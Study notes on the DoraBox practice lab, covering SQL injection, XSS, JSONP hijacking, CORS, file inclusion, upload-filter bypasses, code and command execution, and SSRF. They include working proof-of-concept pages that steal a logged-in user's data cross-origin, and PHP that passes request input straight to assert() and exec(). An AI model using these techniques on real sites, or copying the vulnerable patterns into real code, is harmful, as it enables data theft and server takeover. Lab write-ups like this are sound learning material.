天天看点

哆啦靶场学习笔记

文章目录

    • sql注入
      • 数字型
      • 字符型
      • 搜索型
    • XSS跨站
      • 反射 XSS 示例
    • CSRF
      • JSONP劫持
      • CORS跨域资源读取
    • 文件包含
      • 任意文件包含
      • 目录限制文件包含
    • 文件上传
      • 任意文件上传
      • JS限制文件上传
    • MIME限制文件上传
      • 扩展名限制文件上传
      • 内容限制文件上传
    • 代码/命令
      • 任意代码执行
      • 任意命令执行
    • SSRF
      • SSRF

https://github.com/gh0stkey/DoraBox

哆啦靶场学习笔记

sql注入

数字型

注入流程

  1. 判断数字型注入
  2. 判断字段长度
  3. 联合注入

判断数字型注入

哆啦靶场学习笔记

判断字段长度

在order by 4 的时候报错,而3不会,证明此表只有3个字段

哆啦靶场学习笔记

利用 union 定位数据库回显位置

哆啦靶场学习笔记

利用简单mysql函数查询信息

哆啦靶场学习笔记

查询此数据库所有库名

哆啦靶场学习笔记

字符型

字符型跟数字型基本上没区别

哆啦靶场学习笔记

搜索型

搜索型需要闭合 百分号 与 引号,其余跟字符型一样

闭合查询数据后 + and 执行后面的sql语句

哆啦靶场学习笔记
哆啦靶场学习笔记

XSS跨站

反射型:用户在浏览器中访问携带XSS脚本的链接,浏览器向后端应用程序发送请求,后端程序将URL中的XSS脚本数据写入到响应页面并返回给浏览器,浏览器发出响应页面并触发XSS

存储型:构造XSS脚本内容,提交给后端WEB应用程序,WEB应用程序将留言保存在数据库中,其它人查看留言的时候触发XSS

DOM型:用户在浏览器中访问携带XSS的链接,浏览器中JS从浏览器中提取XSS脚本的内容,并写入到DOM中触发XSS

反射 XSS 示例

哆啦靶场学习笔记
哆啦靶场学习笔记

CSRF

JSONP劫持

通过JSONP技术可以实现数据的跨域访问,必然会产生安全问题,如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B 便存在JSONP 漏洞,网站A 利用JSONP漏洞能够获取用户在网站B上的数据。

哆啦靶场学习笔记

大概流程

用户在网站B 注册并登录,网站B 包含了用户的phone,name,email等信息

哆啦靶场学习笔记

用户通过浏览器向网站A(网站A是hack构造的一个静态页面)发出URL请求

网站A向用户返回响应页面,响应页面中注册了 JavaScript 的回调函数和向网站B请求的script标签,示例代码如下:

获取phone

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(result.mobilephone);
        }
</script>
<script type="text/javascript" src="http://192.168.111.25/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>
           

用户收到响应,解析JS代码,将回调函数作为参数向网站B发出请求

网站B接收到请求后,解析请求的URL,以 JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,浏览器会弹出获取到的信息。

哆啦靶场学习笔记

可将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息

CORS跨域资源读取

CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

CORS需要浏览器和服务器同时支持

CORS与JSONP的使用目的相同,但是比JSONP更强大。

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

构造页面获取信息

<!DOCTYPE html>
<html>
<meta charset="utf-8">
<title>CORS跨域测试</title>
<body>
div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://192.168.111.25/DoraBox/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>
           
哆啦靶场学习笔记

文件包含

任意文件包含

本地包含

本地包含必须为绝对路径,或当前目录的相对路径,被包含引入对象会被php解析

哆啦靶场学习笔记
哆啦靶场学习笔记

目录限制文件包含

在引入文件前加入了

./

哆啦靶场学习笔记

加入

./

引入绝对地址的文件就无法被找到,但是依旧可以引入当前目录下的文件

哆啦靶场学习笔记

./

会被默认认为是当前路径,所以能包含当前目录下的文件

哆啦靶场学习笔记

文件上传

任意文件上传

JS限制文件上传

哆啦靶场学习笔记

禁前端或用burp上传绕过前端检测

哆啦靶场学习笔记

MIME限制文件上传

修改 MIME 上传绕过

哆啦靶场学习笔记

扩展名限制文件上传

windows 解析问题,在文件名后 + 一个点,windows 在读取到第一个后缀名后会丢掉最后的点

可以通过文件包含执行图马之类的非php文件

哆啦靶场学习笔记

内容限制文件上传

使用十六进制编辑器添加允许上传的文件头,或者找一个允许上传的文件,把一句话添加至里面,上传文件。

哆啦靶场学习笔记

代码/命令

任意代码执行

assert 断言执行代码,它将会被 assert() 当做 PHP 代码来执行。

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>DoraBox - 代码执行</title>
</head>
<body>
<?php
	include "../class/function.class.php";
	$p = new Func("GET","code");
	$p -> con_html();
	if (isset($_REQUEST['submit'])) {
		$code = $_REQUEST['code'];
		echo $p -> con_function('assert',$code);
	}
?>
</body>
</html>
           
哆啦靶场学习笔记

任意命令执行

exec 执行系统命令

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>DoraBox - 命令执行</title>
</head>
<body>
<?php
	include "../class/function.class.php";
	$p = new Func("GET","command");
	$p -> con_html();
	if (isset($_REQUEST['submit'])) {
		$command = $_REQUEST['command'];
		echo $p -> con_function('exec',$command);
	}
?>
</body>
</html>

           
哆啦靶场学习笔记

SSRF

服务端请求伪造攻击(Server-side Request Forgery)简称SSRF,当WEB应用提供了从其他服务器获取数据的功能,但没有对远程服务器地址和远程服务器返回的信息进行合理的验

证和过滤,就可能存在这种服务端请求伪造。

SSRF

SSRF 可以用于扫描内部,或者自己的网络服务状况,比如利用靶机访问我自己的80

哆啦靶场学习笔记

利用SSRF file协议读取本地文件

哆啦靶场学习笔记

可以利用发起网络请求的服务,当作跳板来访问其它资源

哆啦靶场学习笔记

继续阅读